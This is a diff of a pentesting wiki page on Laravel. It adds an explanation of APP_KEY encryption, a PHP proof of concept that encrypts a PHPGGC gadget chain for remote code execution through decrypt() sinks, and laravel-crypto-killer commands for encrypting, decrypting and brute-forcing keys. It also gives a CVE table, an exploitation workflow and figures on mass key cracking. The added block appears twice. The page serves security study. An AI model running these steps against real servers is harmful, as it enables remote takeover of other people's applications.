|
1 | 1 | # Laravel |
2 | 2 |
|
| 3 | +{{#include /banners/hacktricks-training.md}} |
| 4 | + |
| 5 | +### Laravel SQLInjection |
| 6 | + |
| 7 | +Read information about this here: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel) |
| 8 | + |
| 9 | +--- |
| 10 | + |
| 11 | +## APP_KEY & Encryption internals (Laravel \u003e=5.6) |
| 12 | + |
| 13 | +Laravel uses AES-256-CBC (or GCM) with HMAC integrity under the hood (`Illuminate\\Encryption\\Encrypter`). |
| 14 | +The raw ciphertext that is finally **sent to the client** is **Base64 of a JSON object** like: |
| 15 | + |
| 16 | +```json |
| 17 | +{ |
| 18 | + "iv" : "Base64(random 16-byte IV)", |
| 19 | + "value": "Base64(ciphertext)", |
| 20 | + "mac" : "HMAC_SHA256(iv||value, APP_KEY)", |
| 21 | + "tag" : "" // only used for AEAD ciphers (GCM) |
| 22 | +} |
| 23 | +``` |
| 24 | + |
| 25 | +`encrypt($value, $serialize=true)` will `serialize()` the plaintext by default, whereas |
| 26 | +`decrypt($payload, $unserialize=true)` **will automatically `unserialize()`** the decrypted value. |
| 27 | +Therefore **any attacker that knows the 32-byte secret `APP_KEY` can craft an encrypted PHP serialized object and gain RCE via magic methods (`__wakeup`, `__destruct`, …)**. |
| 28 | + |
| 29 | +Minimal PoC (framework ≥9.x): |
| 30 | +```php |
| 31 | +use Illuminate\Support\Facades\Crypt; |
| 32 | + |
| 33 | +$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f |
| 34 | +$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste |
| 35 | +``` |
| 36 | +Inject the produced string into any vulnerable `decrypt()` sink (route param, cookie, session, …). |
| 37 | + |
| 38 | +--- |
| 39 | + |
| 40 | +## laravel-crypto-killer 🧨 |
| 41 | +[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) automates the whole process and adds a convenient **bruteforce** mode: |
| 42 | + |
| 43 | +```bash |
| 44 | +# Encrypt a phpggc chain with a known APP_KEY |
| 45 | +laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)" |
| 46 | + |
| 47 | +# Decrypt a captured cookie / token |
| 48 | +laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher> |
| 49 | + |
| 50 | +# Try a word-list of keys against a token (offline) |
| 51 | +laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt |
| 52 | +``` |
| 53 | + |
| 54 | +The script transparently supports both CBC and GCM payloads and re-generates the HMAC/tag field. |
| 55 | + |
| 56 | +--- |
| 57 | + |
| 58 | +## Real-world vulnerable patterns |
| 59 | + |
| 60 | +| Project | Vulnerable sink | Gadget chain | |
| 61 | +|---------|-----------------|--------------| |
| 62 | +| Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}` → `decrypt($hash)` | Laravel/RCE13 | |
| 63 | +| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` cookie when `Passport::withCookieSerialization()` is enabled | Laravel/RCE9 | |
| 64 | +| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → `laravel_session` cookie | Laravel/RCE15 | |
| 65 | + |
| 66 | +The exploitation workflow is always: |
| 67 | +1. Obtain `APP_KEY` (default examples, Git leak, config/.env leak, or brute-force) |
| 68 | +2. Generate gadget with **PHPGGC** |
| 69 | +3. `laravel_crypto_killer.py encrypt …` |
| 70 | +4. Deliver payload through the vulnerable parameter/cookie → **RCE** |
| 71 | + |
| 72 | +--- |
| 73 | + |
| 74 | +## Mass APP_KEY discovery via cookie brute-force |
| 75 | + |
| 76 | +Because every fresh Laravel response sets at least 1 encrypted cookie (`XSRF-TOKEN` and usually `laravel_session`), **public internet scanners (Shodan, Censys, …) leak millions of ciphertexts** that can be attacked offline. |
| 77 | + |
| 78 | +Key findings of the research published by Synacktiv (2024-2025): |
| 79 | +* Dataset July 2024 » 580 k tokens, **3.99 % keys cracked** (≈23 k) |
| 80 | +* Dataset May 2025 » 625 k tokens, **3.56 % keys cracked** |
| 81 | +* >1 000 servers still vulnerable to legacy CVE-2018-15133 because tokens directly contain serialized data. |
| 82 | +* Huge key reuse – the Top-10 APP_KEYs are hard-coded defaults shipped with commercial Laravel templates (UltimatePOS, Invoice Ninja, XPanel, …). |
| 83 | + |
| 84 | +The private Go tool **nounours** pushes AES-CBC/GCM bruteforce throughput to ~1.5 billion tries/s, reducing full dataset cracking to <2 minutes. |
| 85 | + |
| 86 | +--- |
| 87 | + |
| 88 | +## References |
| 89 | +* [Laravel: APP_KEY leakage analysis](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html) |
| 90 | +* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) |
| 91 | +* [PHPGGC – PHP Generic Gadget Chains](https://github.com/ambionics/phpggc) |
| 92 | +* [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce) |
| 93 | + |
3 | 94 | {{#include ../../banners/hacktricks-training.md}} |
4 | 95 |
|
5 | 96 |
|
@@ -101,7 +192,95 @@ Another deserialization: [https://github.com/ambionics/laravel-exploits](https:/ |
101 | 192 | Read information about this here: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel) |
102 | 193 |
|
103 | 194 |
|
104 | | -{{#include ../../banners/hacktricks-training.md}} |
| 195 | +### Laravel SQLInjection |
| 196 | + |
| 197 | +Read information about this here: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel) |
| 198 | + |
| 199 | +--- |
| 200 | + |
| 201 | +## APP_KEY & Encryption internals (Laravel \u003e=5.6) |
| 202 | + |
| 203 | +Laravel uses AES-256-CBC (or GCM) with HMAC integrity under the hood (`Illuminate\\Encryption\\Encrypter`). |
| 204 | +The raw ciphertext that is finally **sent to the client** is **Base64 of a JSON object** like: |
| 205 | + |
| 206 | +```json |
| 207 | +{ |
| 208 | + "iv" : "Base64(random 16-byte IV)", |
| 209 | + "value": "Base64(ciphertext)", |
| 210 | + "mac" : "HMAC_SHA256(iv||value, APP_KEY)", |
| 211 | + "tag" : "" // only used for AEAD ciphers (GCM) |
| 212 | +} |
| 213 | +``` |
| 214 | + |
| 215 | +`encrypt($value, $serialize=true)` will `serialize()` the plaintext by default, whereas |
| 216 | +`decrypt($payload, $unserialize=true)` **will automatically `unserialize()`** the decrypted value. |
| 217 | +Therefore **any attacker that knows the 32-byte secret `APP_KEY` can craft an encrypted PHP serialized object and gain RCE via magic methods (`__wakeup`, `__destruct`, …)**. |
| 218 | + |
| 219 | +Minimal PoC (framework ≥9.x): |
| 220 | +```php |
| 221 | +use Illuminate\Support\Facades\Crypt; |
| 222 | + |
| 223 | +$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f |
| 224 | +$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste |
| 225 | +``` |
| 226 | +Inject the produced string into any vulnerable `decrypt()` sink (route param, cookie, session, …). |
| 227 | + |
| 228 | +--- |
| 229 | + |
| 230 | +## laravel-crypto-killer 🧨 |
| 231 | +[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) automates the whole process and adds a convenient **bruteforce** mode: |
| 232 | + |
| 233 | +```bash |
| 234 | +# Encrypt a phpggc chain with a known APP_KEY |
| 235 | +laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)" |
105 | 236 |
|
| 237 | +# Decrypt a captured cookie / token |
| 238 | +laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher> |
| 239 | + |
| 240 | +# Try a word-list of keys against a token (offline) |
| 241 | +laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt |
| 242 | +``` |
| 243 | + |
| 244 | +The script transparently supports both CBC and GCM payloads and re-generates the HMAC/tag field. |
| 245 | + |
| 246 | +--- |
| 247 | + |
| 248 | +## Real-world vulnerable patterns |
| 249 | + |
| 250 | +| Project | Vulnerable sink | Gadget chain | |
| 251 | +|---------|-----------------|--------------| |
| 252 | +| Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}` → `decrypt($hash)` | Laravel/RCE13 | |
| 253 | +| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` cookie when `Passport::withCookieSerialization()` is enabled | Laravel/RCE9 | |
| 254 | +| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → `laravel_session` cookie | Laravel/RCE15 | |
| 255 | + |
| 256 | +The exploitation workflow is always: |
| 257 | +1. Obtain `APP_KEY` (default examples, Git leak, config/.env leak, or brute-force) |
| 258 | +2. Generate gadget with **PHPGGC** |
| 259 | +3. `laravel_crypto_killer.py encrypt …` |
| 260 | +4. Deliver payload through the vulnerable parameter/cookie → **RCE** |
| 261 | + |
| 262 | +--- |
| 263 | + |
| 264 | +## Mass APP_KEY discovery via cookie brute-force |
| 265 | + |
| 266 | +Because every fresh Laravel response sets at least 1 encrypted cookie (`XSRF-TOKEN` and usually `laravel_session`), **public internet scanners (Shodan, Censys, …) leak millions of ciphertexts** that can be attacked offline. |
| 267 | + |
| 268 | +Key findings of the research published by Synacktiv (2024-2025): |
| 269 | +* Dataset July 2024 » 580 k tokens, **3.99 % keys cracked** (≈23 k) |
| 270 | +* Dataset May 2025 » 625 k tokens, **3.56 % keys cracked** |
| 271 | +* >1 000 servers still vulnerable to legacy CVE-2018-15133 because tokens directly contain serialized data. |
| 272 | +* Huge key reuse – the Top-10 APP_KEYs are hard-coded defaults shipped with commercial Laravel templates (UltimatePOS, Invoice Ninja, XPanel, …). |
| 273 | + |
| 274 | +The private Go tool **nounours** pushes AES-CBC/GCM bruteforce throughput to ~1.5 billion tries/s, reducing full dataset cracking to <2 minutes. |
| 275 | + |
| 276 | +--- |
| 277 | + |
| 278 | +## References |
| 279 | +* [Laravel: APP_KEY leakage analysis](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html) |
| 280 | +* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) |
| 281 | +* [PHPGGC – PHP Generic Gadget Chains](https://github.com/ambionics/phpggc) |
| 282 | +* [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce) |
| 283 | + |
| 284 | +{{#include ../../banners/hacktricks-training.md}} |
106 | 285 |
|
107 | 286 |
|
0 commit comments